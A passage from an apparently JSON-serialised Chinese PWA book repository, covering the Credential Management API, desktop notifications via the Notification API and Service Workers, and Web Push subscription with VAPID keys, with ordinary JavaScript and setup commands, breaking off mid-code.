账号登录”的表单按钮就直接完成了用户登录。\n\n同时我们也可以如下代码所示，扩展支持多个第三方账户登录。\n\n```javascript\nnavigator.credentials.get({\n  password: true,\n  federated: {\n    providers: ['https://www.baidu.com', 'https://github.com']\n  }\n}).then(function (cred) {\n  if (cred) {\n    switch (cred.type) {\n      case 'password':\n        // PasswordCredential 凭证处理\n        return loginWithPassword(cred)\n      case 'federated':\n        // FederatedCredential 凭证处理\n        switch (cred.provider) {\n          case 'https://www.baidu.com':\n            // 调起百度第三方登录\n            return loginWithBaiduAccount()\n          case 'https://github.com':\n            // 调起 github 第三方登录\n            return loginWithGithubAccount()\n        }\n    }\n  } else {\n    return Promise.reject()\n  }\n})\n```\n\n## 修改凭证信息\n\n当用户的密码修改之后，存储的身份凭证将会失效，需要及时进行更新。在具体实现上只需要调用 `navigator.credentials.store(cred)` 进行新凭证存储即可，此时页面会弹出凭证更新提示对话框，只有当用户同意时身份凭证才会更新成功。对于 `PasswordCredential` 类型的凭证，浏览器会根据 `id` 指定身份凭证信息进行覆盖；`FederatedCredential` 则会根据 `provider` 和 `id` 指定身份凭证信息进行覆盖。\n\n## 使用账户选择器登录\n\n一个网站用户可能拥有多个账户，在登录时直接提供账户选择器也可以跳过传统的表单登录方式。使用账号选择器登录的方法与自动登录一致。当用户点击登录按钮时，调用 `navigator.credentials.get()` 方法，并通过`mediation` 设定账号选择器的展现方式为`optional` 或 `required`。\n\n `mediation` 设置为 `required` 时，当用户登录时，账户选择器每次都会展现。而如果采用 mediation 为 `optional` 的模式获取凭证，即 `navigator.credentials.get({mediation: 'optional'})`，只要用户第一次选择好身份凭证，在下一次重新获取时，将不会弹出账号选择器而直接返回上次选择好的身份凭证信息，从而起到简化用户登录流程的作用。这时如果用户需要重新选择账户，可以通过调用 `navigator.credentials.preventSilentAccess()` 方法来取消这个静默获取凭证的过程。\n\n使用方法非常简单，只需要直接执行该函数即可：\n\n```js\nnavigator.credentials.preventSilentAccess()\n```\n\n这里需要注意的是，`preventSilentAccess()` 方法主要配合 `mediation` 为 `optional` 一起使用。如果 `mediation` 为 `silent`，即采用静默获取凭证的方式，`preventSilentAccess()` 会导致这种静默获取直接返回 null。\n\n当 mediation 取值为 `silent` 或者 `optional`，且返回的账号选择列表中只有一个凭证，那么 `get()` 返回的 promise 对象将直接 resolve 该凭证信息，但是当账号选择列表存在多个凭证时，如果 mediation 为 `silent`，那么 promise 将 `resolve(null)`，而 `optional` 将弹出账号选择器供用户选择。除开以上这些情况，当用户并未从账号选择器中选择相应的账号信息，同样的 promise 也将 `resolve(null)`，因此在设计登录流程时，需要做好相应的降级措施。\n\n举个例子，当站点已经存入身份凭证后，调用以下方法，将会弹出账号选择器：\n\n```js\nlet promise = navigator.credentials.get({\n  password: true,\n  federated: ['https://www.baidu.com'],\n  mediation: 'required'\n})\n```\n\n此时弹出的账号选择器如下图所示，可以看到，由于配置了 password 和 federated，因此密码凭证和联合凭证都显示在账号选择列表中：\n\n![账号选择器](./img/credential-account-selector.jpg)\n\n如果去掉 federated 的配置，那么仅有密码凭证类型的帐号信息展现在账号选择列表中：\n\n![密码凭证账号选择](./img/credential-password-selector.jpg)\n\n## 小结\n\n在本节中介绍了凭证管理 API 常见的使用方式，通过示例展现凭证管理 API 对 Web App 登录流程的优化效果，我们相信将凭证管理 API 应用于 PWA 中，会有效增加登录用户留存。\n"
  },
  {
    "path": "chapter06/3-notification-api.md",
    "content": "# 桌面通知\n\n在 iOS 和 Android 移动设备中，Native App 向用户推送通知是很常见的行为，这是重新吸引用户访问应用最有效方法之一。然而推送通知一直被认为是 Web App 缺少的能力，在接下来的两节我们将介绍 Web App 如何实现推送通知。\n\nNotification API 是 HTML5 新增的一套展示桌面通知的 API，桌面通知具有全局效果，它脱离了浏览器，采用和 Native App 相同的机制和 UI，因此无论网页是否打开，也无论浏览器是否在前台展现，只要浏览器在运行，就能够向用户展现通知。\n\n应用通知主要有两种类型，一类是由应用本身生成的本地通知，另一类推送通知，是由服务器推送事件生成。在本节中主要先简单介绍如何使用 Notification API 进行本地通知，离线通知在下一节中会详细介绍。\n\n在本节中我们将提供简单的通知示例，展示使用 Notification API 通知用户。在命令行中运行如下命令，下载示例代码到本地。\n\n```bash\n# 从 GitHub 下载代码到本地 pwa-book-demo 目录\n$ git clone https://github.com/lavas-project/pwa-book-demo.git\n\n# 进入到 chapter06/notification 目录\n$ cd chapter06/notification\n\n# 安装 npm 依赖\n$ npm install\n\n# 安装成功后启动 chapter06/notification 示例\n$ npm run server\n```\n\n在看到命令行中输出 `Server start on: http://127.0.0.1:8088`，意味着已经成功启动。\n\n## 申请通知权限\n\n为避免网站滥用 Notification 给用户造成影响，在展示桌面通知之前，首先需要向用户获取通知权限，只有获得用户授权之后，Notification API 才会生效。对于同一个域名下的网页，只需要获取一次授权即可。那么，如何知道当前站点是否已经被授权？\n\n### Notification.permission\n\n`Notification.permission` 是 `Notification` 的静态属性，代表通知权限的授权状态，取值包括：\n\n- granted：允许展现通知；\n- denied：禁止展现通知；\n- default：用户尚未授权，此时禁止展现通知，但可以向用户发送授权申请。\n\n在使用桌面通知之前，可以通过这个属性首先判断用户授权状态，再去做下一步操作：\n\n```js\nif (Notification.permission === 'granted') {\n  // 用户已授权，可展示通知\n} else if (Notification.permission === 'denied') {\n  // 用户已禁止\n} else {\n  // 用户尚未授权，需首先向用户申请通知权限\n}\n```\n\n### Notification.requestPermission()\n\n当用户尚未进行授权时，可以通过 `Notification.requestPermission()` 静态方法向用户申请通知权限，使用方法如下所示：\n\n```js\nNotification.requestPermission().then(permission => {\n  // 通过 permission 判断用户的选择结果\n})\n```\n\n这是一个异步函数，返回 Promise 对象。在调用函数的同时，页面会弹出通知权限请求对话框。在示例 `public/script/notification.js` 中，可以查看关于通知权限判断的逻辑。\n\n打开浏览器，访问 `http://127.0.0.1:8088` ，浏览器弹出如下图所示的弹窗。\n\n![\b请求通知权限授权浏览器弹窗示意图](./img/notification-permission.jpg)\n\n用户可以选择 “允许”、“禁止”，也可以直接点击关闭对话框，分别对应 `granted`、`denied` 和 `default` 这三种授权行为，这时 promise 对象将 resolve 授权结果，并且同步更新 `Notification.permission` 的值。\n\n当用户选择 “允许” 或 “禁止” 之后，选择结果会被浏览器记录下来，并在下次再次调用 `Notification.requestPermission()` 时将直接返回该结果。因此一旦用户选择了 “禁止”，站点将不会允许展示通知，也不会再次展现授权提示。Chrome 桌面版浏览器可以通过访问 `chrome://settings/content/notifications` 去修改已经进行授权的站点，而目前大部分手机浏览器则需要清除浏览器数据，才能够重新恢复通知权限请求对话框的展示，无论哪一种对于用户来说都是非常麻烦的操作。因此要求开发者应该在最适当的时候申请通知权限，并且对用户加以引导，说明站点获取通知权限的用途，尽量避免用户打开网站立即弹出授权对话框。\n\n获得用户的授权之后，就可以进入下一步的通知展现与交互了。\n\n## 通知展现与交互\n\n浏览器提供通过实例化 `Notification` 对象来显示通知。实例化 `Notification` 的语法如下所示：\n\n```js\nconst notification = new Notification(title, options)\n```\n\n在实例化 `Notification` 对象的同时，会生成一条通知并展现出来。在表现形式上桌面端和移动端存在一定差异，其中桌面端的通知会以卡片的形式从屏幕右上角或者右下角弹出，而移动端则显示在通知栏里。\n\n通过实例化 `Notification` 时传入的不同参数，可以定制通知显示的内容和功能，下文介绍了常见参数的用法，更多用法可以参考 [Notification 规范](<https://notifications.spec.whatwg.org/#concept-notification>)。需要注意的是，截止目前上述可选参数仅有 `body`、`icon`、`data`、`tag` 得到了稳定的支持，其余参数仅有部分浏览器支持，因此需要考虑部分配置失效的可能。\n\n另外对于部分手机浏览器比如 Chrome for Android，要求必须依赖 Service Worker 所提供的方法来展现通知，使用 `new Notification()` 这种方式没有任何效果，因此本小节示例都使用 Service Worker 方法，在下文中会单独详细介绍使用 Service Worker 中的方法来展现通知。\n\n### 展现配置项\n\n#### title 和 body\n\n标题和文本用于显示不同的通知信息，是最常见的通知形式。当标题和文本过长时，不同的浏览器和系统会展现不同的效果，有的会对通知进行截断处理。\n\n```javascript\nconst title = 'PWA-Book-Demo Notification Title'\nconst options = {\n\tbody: 'Simple piece of body text.\\nSecond line of body text :)'\n}\nconst notification = new Notification(title, options)\n```\n\n以上示例在 PC Chrome 上显示效果如下图：\n\n![PC 端纯文本通知](./img/display-notification-desktop.jpg)\n\n在手机上显示效果为：\n\n![三星手机上纯文本通知](./img/display-notification-title-body.jpg)\n\n#### icon\n\n配置图片 URL 地址，用来在标题和文本旁边显示的小图片。目前对于图标使用的图片尺寸，并没有可靠的规范和指导，如果我们的设备像素比（DPR）是 3，使用 192px 或更高的图片大小是比较好的选择。\n\n在手机上展示效果类似下图：\n\n![三星手机上带有 icon 的通知](./img/display-notification-icon.jpg)\n\n#### image\n\n用于在通知中增加预览图片，由于桌面和移动设备的比例不同，不同手机上效果裁剪和比例也可能不同，同样很难对图片尺寸制定规范。\n\n在手机上包含图片的通知有时会被折叠，需要用户向下滑动才将通知中的图片展示出来。下图是一个包含图片通知的示例：\n\n![三星手机上带有图片的通知](./img/display-notification-image.jpg)\n\n#### badge\n\n展现缩略信息时使用的单色图标，用于向用户描述有关通知来源的更多信息，此选项只适用于移动设备，一般默认显示为浏览器的缩略图标。根据 Native App 经验，建议图片大小为 24px 乘像素比率，因此图片大小最好使用 72px 及以上。\n\n![显示在通知栏里的 badge](./img/display-notification-badge-on-nav.jpg)\n\n![显示在通知内容上方的 badge](./img/display-notification-badge.jpg)\n\n####  direction\n\ndir 参数用于设置文本的显示方向，默认值为 `auto`，可取值为 `ltr` 和 `rtl`，分别代表“从左往右”和“从右往左”。在默认情况下，中文、英语、法语等会默认从左往右显示，而阿拉伯语等从右往左显示。\n\n#### vibrate\n\n用于设置通知的振动模式，参数格式为数字数组，数组描述了振动交替的毫秒数。例如 [200, 100] 代表首先振动 200 毫秒，然后停止 100 毫秒，如此反复。\n\n### 交互配置项\n\n#### tag\n\n标签选项是一个字符串 ID，具有相同 tag 的通知会被分类到一起，可以简单的向用户显示多个通知。\n\n通过以下示例可以了解 tag 的用法，先展示一个有 tag 为 \"error\" 的通知：\n\n```javascript\nconst title = 'PWA-Book-Demo 测试 tag: error'\nconst options = {\n  body: '第一条 tag: error 通知',\n  tag: 'error'\n}\nconst notification = new Notification(title, options)\n```\n\n第一条提示如下图：\n\n![第一条 tag 为 error 的通知](./img/display-notification-tag-first.jpg)\n\n接着发送第二条新的 tag 为 \"warning\" 通知，如图所示：\n\n![第二条通知，tag 为 warning](./img/display-notification-tag-second.jpg)\n\n最后仍然发送 tag 为  \"error\" 的第三条消息，可以看到这条消息静默替换了第一条消息：\n\n![第二条 tag 为 error 的通知代替了第一条](./img/display-notification-tag-third.jpg)\n\n#### renotify\n\n使用 tag 进行通知替代时，是没有声音和震动的。使用 `renotify: true ` 可以在展示多个通知时也能够通过声音和震动提示用户。需要注意的是，renotify 是和 tag 选项配合使用的，如果设置了 `renotify: true` 但没有使用 `tag` 参数，浏览器可能会提示发生错误。\n\n#### silent\n\n通知展现的时候是否关闭声音和振动，默认为 `false`，表示默认展现通知时有声音有振动。如果通知不希望用户立即关注，可以设置为 `true`。如果同时定义了 silent 和 renotify，silent 优先级更高。\n\n#### requireInteraction\n\n在桌面端默认情况下，通知会在显示一段时间后自动隐藏，而在移动端上会一直显示通知，直到用户与其交互。如果希望桌面和移动端一致，可将  `requireInteraction` 设置为 `true` 。在使用这个配置项时需要格外而注意，因为这样可能会导致用户体验下降。\n\n### 交互事件\n\nNotification 实例具有以下方法：\n\n- close()：关闭通知\n\n举个例子，比如希望通知在展示 2 秒之后关闭，那么可以这么实现：\n\n```js\nlet notification = new Notification('你好');\nsetTimeout(function () {\n  notification.close()\n}, 2000)\n```\n\nNotification 实例化对象具有以下事件句柄：\n\n- onclick：通知点击事件\n- onclose：通知关闭事件，无论是用户手动关闭，还是调用 `Notification.close()` 均会触发\n- onshow：通知显示\n- onerror：通知显示异常事件\n\n下面举一个简单的例子来展示通知的展现以及事件的处理。以下代码会弹出通知 “我是李雷，交个朋友吧”，点击通知后自动打开百度首页。\n\n```js\nconst notification = new Notification('你好', {\n  body: '我叫李雷，交个朋友吧',\n  icon: 'https://path/to/icon',\n  data: {\n    url: 'https://www.baidu.com'\n  }\n})\n\nnotification.onclick = function (e) {\n  // 关闭通知\n  notification.close()\n\n  // 通过 notification.data 对象可以访问到实例化时传入的 data 参数\n  // 这里演示点击通知之后自动打开百度首页\n  window.open(notification.data.url)\n}\n```\n\n## 在 Service Worker 线程中展现通知\n\n上面所介绍的 Notification API 用法全是写在页面主线程里的，在对应网页打开的情况下，即使切换标签页，最小化浏览器，都可以展现通知。但是一旦关闭网页，通知的相关代码随之失效，也就无法继续展现通知。因此需要将 Notification API 放到常驻后台的进程中去运行。\n\n通过第四章对 Service Worker 的介绍，我们知道，Service Worker 是一个独立的 worker 线程，即使在关闭网页的情况下，Service Worker \b依然能够被唤醒，因此我们可以将展现通知的代码写到 Service Worker 文件中，就能够在页面关闭的情况下也可以向用户展现通知了。\n\n在 Service Worker 作用域下无法直接使用 Notification，需要通过一些 Service Worker 所提供的函数去实现通知的展现与交互。其中，`ServiceWorkerRegistration` 对象提供了 `showNotification()` 和 `getNotifications()` 等方法，同时在 Service Worker 作用域下提供了 `notificationclick` 和 `notificationclose` 的全局事件回调。在本节后续的内容当中将会对这些方法和事件做详细的介绍。\n\nServiceWorkerRegistration 对象可通过以下方法获得：\n\n1. 在主线程中通过注册 Service Worker 所得到的异步返回对象即为 `ServiceWorkerRegistration` 的实例：\n\n```javascript\n// 注册 Service Worker 获取 registration\nnavigator.serviceWorker.register('/service-worker.js').then(function (registration){\n  console.log(registration)\n})\n\n// 使用 getRegistration 方法获取 registration\nnavigator.serviceWorker.getRegistration().then(function (registration) {\n  console.log(registration)\n})\n```\n\n2. 在 Service Worker 作用域下可直接通过 `self.registration` 获得：\n\n```javascript\nlet registration = self.registration\n```\n\n在本节示例中，这两种方式我们都有用到，对于展现类的通知我们在 `public/script/notification.js` 直接封装了 displayNotification 方法，而与交互相关的事件监听在 `public/sw.js` 的 Service Worker 文件中可以查看。示例提供了不同类型的通知展示，如图点击对应的按钮可以查看通知效果。\n\n![通知示例](./img/notification-example.jpg)\n\n\n\n### 展现通知\n\n在 Service Worker 作用域下，通过 `ServiceWorkerRegistration.showNotification()` 方法来展现通知，其参数与上一小节 `Notification` 实例化的参数一致。该方法将返回一个 promise 对象，当通知正常展现时，promise 会 resolve 并返回 undefined，假如通知展示未获许可，那么 promise 将会 reject 并且抛出 `TypeError` 的异常，因此需要做好容错方案。\n\n在 Service Worker  文件中展示通知如下。\n\n```javascript\nself.registration.showNotification('你好', {/* options */})\n.then(function () {\n  // 通知展现成功\n})\n.catch(function (e) {\n  // 通知展现未授权\n})\n```\n\n在主线程中展示通知如下。\n\n```js\nnavigator.serviceWorker.getRegistration().then(function (registration) {\n  registration.showNotification('你好', {/* options */})\n  .then(function () {\n  // 通知展现成功\n\t})\n\t.catch(function (e) {\n  // 通知展现未授权\n\t})\n})\n```\n\n### 添加 Actions\n\n通知除了可以为用户展现信息，还可以在设计简单的交互来处理信息，用户不需要打开页面就可以快速与网站或服务交互。当使用 `showNotification` 展现通知时，第二个参数 `options` 将在原有基础上额外支持 action 参数。action 参数是一组自定义行为数组，该数组包括一组对象用于定义向用户显示的按钮。action 对象包括以下几个配置：\n\n- action：按钮 ID 作为标识符字符串\n- title：向用户显示的文本的标题\n- icon：在动作旁边显示的图像的位置的图标\n\n下面是一个简单的例子，在通知上展现一个 “点赞” 按钮，点击该按钮，将在控制台打印出 “点击了点赞按钮”：\n\n```javascript\nself.registration.showNotification('PWA-Book-Demo 测试 actions', {\n  body: '点赞按钮可点击',\n  actions: [\n    {\n      action: 'like',\n      title: '点赞',\n      icon: '/assets/images/like-icon.png'\n    }\n  ]\n})\n// 监听通知点击事件\nself.addEventListener('notificationclick', function (e) {\n  // 关闭通知\n  e.notification.close()\n\n  if (e.action === 'like') {\n    // 点击了“点赞”按钮\n    console.log('点击了点赞按钮')\n  } else {\n    // 点击了对话框的其他部分\n    console.log('点击了对话框')\n  }\n})\n```\n\nactions 的展现样式会受到系统的影响，例如在 Android Nougat 及以上版本，并不会展示 action 的 icon，上面示例效果如图：\n\n![在通知中显示操作按钮](./img/display-notification-actions.jpg)\n\n### 通知关闭事件\n\n当用户选择忽略通知，比如点击通知的关闭十字或者滑动关闭通知时，`notificationclose` 事件会被调用，该事件通常用来分析用户与通知的交互情况。\n\n```javascript\nself.addEventListener('notificationclose', function(event) {\n  const dismissedNotification = event.notification\n\n  const promiseChain = notificationCloseAnalytics()\n  event.waitUntil(promiseChain)\n})\n```\n\n如上面示例所示，回调对象 event 提供常用的属性和方法用于控制后续逻辑。\n\n* `event.notification` 获取 notification 实例，访问 notification 实例的属性和方法。\n\n* `event.waitUntil` 方法允许传入 Promise 对象，待 Promise 异步操作完成后再结束事件。\n* 如果通知定义展示了 actions  按钮，通过 `event.action` 可访问对应的 action。\n\n### 通知点击事件\n\n当用户点击通知时，默认不会关闭或者删除通知，也不会发生任何事情。而此时用户通常希望直接跳转到可以获取更多有关信息的位置，我们通过在 Service Worker 下监听点击事件 `notificationclick` 来处理相关逻辑。\n\n示例中，在 Service Worker 作用域下是无法访问 `window` 对象的，但我们可以通过 `clients.openWindow()` 方法来实现在 Service Worker 作用域下打开网页。\n\n查看示例中 Service Worker 文件  `public/sw.js` ，其中监听 `notificationclick` 事件。\n\n```javascript\n// 首先监听 notificationclick 事件：\nself.addEventListener('notificationclick', function (e) {\n  // 关闭通知\n  e.notification.close()\n  // 打开网页\n  e.waitUntil(clients.openWindow(e.notification.data.url))\n})\n```\n\n在 `public/script/notification.js` 文件中触发通知展示。\n\n```js\n// 接着触发显示通知\nregistration.showNotification('你好', {\n\tbody: '我叫李雷，交个朋友吧',\n  icon: 'https://gss0.baidu.com/9rkZbzqaKgQUohGko9WTAnF6hhy/assets/pwa/demo/pwa-icon.png',\n  data: {\n    time: new Date(Date.now()).toString(),\n    url: 'https://www.baidu.com'\n  }\n})\n```\n\n点击示例页面中 \"事件：notificationclick \" 选项的按钮，对应的弹窗效果以及点击页面跳转情况如下图所示，可以看到即使在 Service Worker 作用域下，依然可以正常展示通知，并且能够引导打开网页：\n\n![点击通知打开页面](./img/notification-pwa.jpg)\n\n这样整个弹出通知和打开网页的过程都完全脱离了网页生命周期的制约，我们已经能做到在未打开对应网页的情况下弹出离线通知，再通过点击通知引导用户打开网页了。当然，仅靠 Notification API 和 clients 并不能做到完全的离线通知，这是因为在目前的条件下，一旦页面销毁，Service Worker 也将很快进入休眠状态。因此需要给 Service Worker 注册可在离线情况下唤醒的事件，这样就能够完整地实现离线通知了。\n\n这个事件就是接下来的小节将要介绍的如何实现在离线状态下的\b推送通知。\n"
  },
  {
    "path": "chapter06/4-web-push-api.md",
    "content": "# 网络推送\n\n在上一节我们已经介绍了使用 Notification API 如何创建推送并展示给用户，但是当浏览器没有打开，Service Worker 处于休眠状态时，如何将通知推送给用户呢？Native App 很早就实现了离线通知，用户在没有打开应用的情况下，也能够接收到推送的内容并且在通知栏展现出来。现在 Web App 使用 Push API 也可以实现离线接收消息。\n\nPush API 和 Notification API 是不同但互补的功能，Push API 是用于订阅并推送消息给 Service Worker，而 Notification API 用于从 Service Worker 发送消息给用户。\n\n一个完整的 Web Push 流程，只有浏览器是不够的，还需要服务端发送消息。在本节中，我们不仅会介绍消息推送在浏览器端\b相关的细节，还会实现一个简单的 Node.js 服务端来推送消息。\n\n## 推送流程\n\n在介绍 Push API 的用法之前，首先我们需要了解一下建立网络推送的基本流程。\n\n下图所示的流程图出自 [Web Push 协议草案](https://tools.ietf.org/html/draft-ietf-webpush-protocol-12#section-2)，展示网络推送实现的整个基本流程。Web Push 协议是发送推送消息到浏览器的协议标准。它描述了如何创建推送消息，加密推送消息并将其发送到推送消息传递平台的结构和流程。\n\n```bash\n    +-------+           +--------------+       +-------------+\n    |  UA   |           | Push Service |       | Application |\n    +-------+           +--------------+       |   Server    |\n        |                      |               +-------------+\n        |      Subscribe       |                      |\n        |--------------------->|                      |\n        |       Monitor        |                      |\n        |<====================>|                      |\n        |                      |                      |\n        |          Distribute Push Resource           |\n        |-------------------------------------------->|\n        |                      |                      |\n        :                      :                      :\n        |                      |     Push Message     |\n        |    Push Message      |<---------------------|\n        |<---------------------|                      |\n        |                      |                      |\n```\n\n从图中可以看出，网络推送的建立涉及到三端的相互配合，分别是：\n\n1. UA（User Agent），即浏览器；\n2. Push Service，即推送服务器，用于管理推送订阅、消息推送等功能的第三方服务器。该服务器是浏览器决定的；\n3. Application Server，即网站应用的后端服务。\n\n网络推送的过程中，浏览器和后端服务并不是直接接触的，需要通过浏览器指定的第三方推送服务器进行消息中转。\n\n从具体的推送步骤上进行划分，又可以分成订阅（Subscribe）与推送（Push Message）两个部分。\n\n其中订阅部分包含以下步骤：\n\n1. Subscribe，浏览器需要向推送服务器发起推送订阅的请求；\n2. Monitor，订阅成功之后，浏览器与推送服务器之间会进行通信，同时推送服务器会生成并维护相关订阅信息，在后续的消息推送流程将基于该订阅信息与浏览器保持通信；\n3. Distribute Push Resource，浏览器将推送服务器返回的订阅信息发送给网站后端服务进行保存，服务端将基于该订阅信息向推送服务器发起消息推送。\n\n而推送部分主要分为两步：\n\n1. 后端服务通过 Web Push 向推送服务器发送消息通知，发送时会将前面提到的订阅信息带上，以告知推送服务器这条消息推送的目的地；\n2. 推送服务器接收到消息之后，再根据订阅信息将消息推送给对应的浏览器。\n\n至此就完成了整个推送流程。\n\n接下来，我们将对推送流程的具体步骤进行介绍。\n\n## 订阅推送\n\n在我们可以发送推送消息之前，必须先订阅推送服务。Push API 提供 PushManager 接口请求和推送通知，在第四章 Service Worker 的学习中我们知道，当 Service Worker 注册成功时，会返回一个 `ServiceWorkerRegistration` 的实例对象 `registration`，其中 `PushManager` 的实例 `pushManager` 就挂到了 `registration` 对象下面，因此我们可以通过调用 `registration.pushManager.subscribe()` 进行订阅。\n\n由于存在兼容性问题，因此在调用之前需要判断 `PushManager` 是否存在：\n\n```js\nif (window.PushMananger !== null) {\n  // 发起推送订阅\n}\n```\n\n假设用户启用了通知，现在我们可以订阅推送服务：\n\n```js\nasync function subscribe () {\n  // 判断兼容性\n  if (window.PushManager == null && navigator.serviceWorker == null) {\n    return\n  }\n  // 注册 service-worker.js 获取 ServiceWorkerRegistration 对象\n  let registration = await navigator.serviceWorker.register('/service-worker', {scope: '/'})\n  // 发起推送订阅\n  let pushSubscription = await registration.pushManager.subscribe({\n    userVisibleOnly：true,\n    applicationServerKey: base64ToUint8Array('BLjmecELgzCq4S-fJyRx9j03wvR0yjSs6O13L6qABrj7CadS8689Lvi2iErzG8SeaPSX_ezoyD2O0MMkGZcj4c0')\n  })\n  // 将 pushSubscription 发送给应用后端服务器\n  await distributePushResource(pushSubscription)\n}\n```\n\n在上面的实例中，subscribe 方法接受 `userVisibleOnly` 参数，如果该参数为 true 但没有调用 Notification API 时，浏览器会弹出默认的提示框提示有应用程序在后台运行，确保每个消息都有匹配的通知。对于部分浏览器而言（如 Chrome for Android），该属性必须设置为 true，不然会报错。\n\n订阅成功后，推送服务器返回订阅信息 `pushSubscription` 对象， `pushSubscription` 的结构如下：\n\n```javascript\n{\"endpoint\":\"https://fcm.googleapis.com/fcm/send/dpH5lCsTSSM:APA91bHqjZxM0VImWWqDRN7U0a3AycjUf4O-byuxb_wJsKRaKvV_iKw56s16ekq6FUqoCF7k2nICUpd8fHPxVTgqLunFeVeB9lLCQZyohyAztTH8ZQL9WCxKpA6dvTG_TUIhQUFq_n\",\n\"keys\": {\n    \"p256dh\":\"BLQELIDm-6b9Bl07YrEuXJ4BL_YBVQ0dvt9NQGGJxIQidJWHPNa9YrouvcQ9d7_MqzvGS9Alz60SZNCG3qfpk=\",\n    \"auth\":\"4vQK-SvRAN5eo-8ASlrwA==\"\n  \t}\n}\n```\n\npushSubscription 包含公钥和 endpointURL，应用服务器推送时可以使用公钥对消息加密，endpointURL 是由推送服务器生成包含唯一标识符的 URL，推送服务器通过它判断将消息发送到哪个客户端。\n\n可分别通过 `pushSubscription.getKey('p256dh')` 和 `pushSubscription.getKey('auth')` 来获取密钥和校验码信息。由于通过 `getKey()` 方法获取到的密钥信息类型为 `ArrayBuffer`，因此还需要通过转码将其转成 base64 字符串以便于传输。转换函数如下所示：\n\n```js\nfunction uint8ArrayToBase64 (arr) {\n  return btoa(String.fromCharCode.apply(null, new Uint8Array(arr)))\n}\n```\n\n这样，我们只需要将 `pushSubscription` 的 `endpoint`、`p256dh`、`auth` 进行包装并发送 POST 请求传给应用服务器，应用服务器只需要将这个 pushSubscription 接收到并保存起来即可。比如在这里使用 Fetch API 来演示数据传输：\n\n```js\nfunction distributePushResource (pushSubscription) {\n  return fetch('/path/to/subscribe', {\n    method: 'post',\n    body: JSON.stringify({\n      endpoint: pushSubscription.endpoint,\n      keys: {\n        p256dh: uint8ArrayToBase64(pushSubscription.getKey('p256dh')),\n        auth: uint8ArrayToBase64(pushSubscription.getKey('auth'))\n      }\n    })\n  })\n}\n```\n\n以上就是推送订阅的说明。订阅好推送之后，下面就能够接收推送信息了。\n\n## 使用 VAPID\n\n读者可能已经注意到，在上文订阅推送 subscribe 方法中，还传入了一个 applicationServerKey 参数给推送服务，这个参数的作用是什么呢？\n\nWeb Push  协议出于用户隐私考虑，在应用和推送服务器之间没有进行强身份验证，这为用户应用和推送服务都带来了一定的风险。解决方案是对 Web Push 使用自主应用服务器标识（VAPID）协议，VAPID 规范允许应用服务器向推送服务器标识身份，推送服务器知道哪个应用服务器订阅了用户，并确保它也是向用户推送信息的服务器。使用 VAPID 服务过程很简单，通过几个步骤可以理解 VAPID 如何实现安全性。\n\n- 应用服务器创建一对公钥/私钥，并将公钥提供给 Web App 客户端\n- 当用户尝试订阅推送服务时，将公钥添加到 subscribe() 订阅方法中，公钥将被发送到推送服务保存。\n- 应用服务器想要推送消息时，发送包含公钥和已经签名的 JSON Web 令牌到推送服务提供的 API，推送服务验证通过后，将信息推送至 Web App 客户端。\n\n为了避免处理过多加密细节，在这里我们只需简单了解 VAPID 规范即可，因为目前已经有很多库来帮助开发者生成公钥，从而大大减少开发工作量。假设开发者使用 Node.js 作为服务端语言，那么可以通过安装 `web-push` 来协助生成公钥。\n\n首先通过 `npm install` 安装 `web-push`：\n\n```shell\nnpm install web-push -g\n```\n\n然后就可以通过命令行生成公钥和私钥了：\n\n```shell\nweb-push generate-vapid-keys\n```\n\n得到的结果如下所示：\n\n```shell\n=======================================\n\nPublic Key:\nBLjmecELgzCq4S-fJyRx9j03wvR0yjSs6O13L6qABrj7CadS8689Lvi2iErzG8SeaPSX_ezoyD2O0MMkGZcj4c0\n\nPrivate Key:\nwNY2Jw8Zcw2wjfsiVzIxQB6K-ZoOkn-MS7fXxoo8w0Y\n\n=======================================\n```\n\n正如在订阅推送中提到的，subscribe 方法通过 applicationServerKey 传入所需要的公钥。一般来说得到的公钥一般都是 base64 编码后的字符串，需要将其转换成 `Uint8Array` 格式才能作为 subscribe 的参数传入。下面给出一个 base64 转 Uint8Array 的函数实现：\n\n```javascript\nfunction base64ToUint8Array (base64String) {\n  let padding = '='.repeat((4 - base64String.length % 4) % 4)\n  let base64 = (base64String + padding)\n    .replace(/\\-/g, '+')\n    .replace(/_/g, '/')\n  let rawData = atob(base64)\n  let outputArray = new Uint8Array(rawData.length)\n  for (let i = 0; i < rawData.length; i++) {\n    outputArray[i] = rawData.charCodeAt(i)\n  }\n  return outputArray\n}\n```\n\n在下文中我们也会继续了解，在消息推送服务端如何使用 VAPID 协议。\n\n## 消息推送\n\n接下来介绍如何使用 Web Push 协议向浏览器发送推送消息，消息推送需要依赖浏览器接收推送消息和后端服务推送消息两个部分。\n\n### 浏览器接收推送消息\n\n首先我们来研究浏览器如何接收推送消息。在完成推送订阅之后，浏览器与推送服务器建立了通信，此时浏览器可以通过监听 `push` 事件来接收推送服务发送的消息。\n\n`push` 事件只会在 Service Worker 作用域下触发，因此只需要在 Service Worker 作用域下注册监听该事件即可：\n\n```js\nself.addEventListener('push', function (e) {\n  if (e.data) {\n    // 显示推送消息\n    console.log(e.data.text())\n  }\n})\n```\n\n消息通过事件回调下面的 `data` 属性获取。`data` 提供了以下方法来实现不同类型的消息进行解析：\n\n- `arrayBuffer()`：将消息解析成 ArrayBuffer 对象；\n- `blob()`：将消息解析成 Blob 对象；\n- `json()`：将消息解析成 JSON 对象；\n- `text()`：将消息解析成字符串；\n\n需要注意的是，当推送服务器推送的消息没有任何数据时，`data` 属性可能为空，因此需要做好代码容错。\n\n### 后端服务推送消息\n\n当浏览器做好推送通知的接收工作之后，接下来需要实现后端服务推送消息。正如前面所提到的那样，第三方推送服务是由浏览器决定的，因此可能存在不同的浏览器对应不一样的第三方推送服务，而不同的第三方推送服务所要求的后端配置也是不一样的，因此在开发的时候，需要针对不同浏览器的不同推送服务，开发不同的后端推送服务，当然也可以选择一些现成的跨平台推送方案，如 [OneSignal](https://onesignal.com/)，这些跨平台推送方案已经集成好了多种浏览器的推送服务，使得开发者不再需要去关心不同浏览器的推送服务适配问题。\n\n在这里我们演示一段基于 Chrome 浏览器的后端推送服务代码。Chrome 浏览器所对应的推送服务器为 Firebase 云服务（FCM），假设应用服务后端使用 Node.js，那么我们可以使用 `web-push` 库来实现后端向推送服务器发送消息的方法：\n\n```js\nconst webpush = require('web-push')\n\nconst vapidKeys = {\n  publicKey: 'BLjmecELgzCq4S-fJyRx9j03wvR0yjSs6O13L6qABrj7CadS8689Lvi2iErzG8SeaPSX_ezoyD2O0MMkGZcj4c0',\n  privateKey: 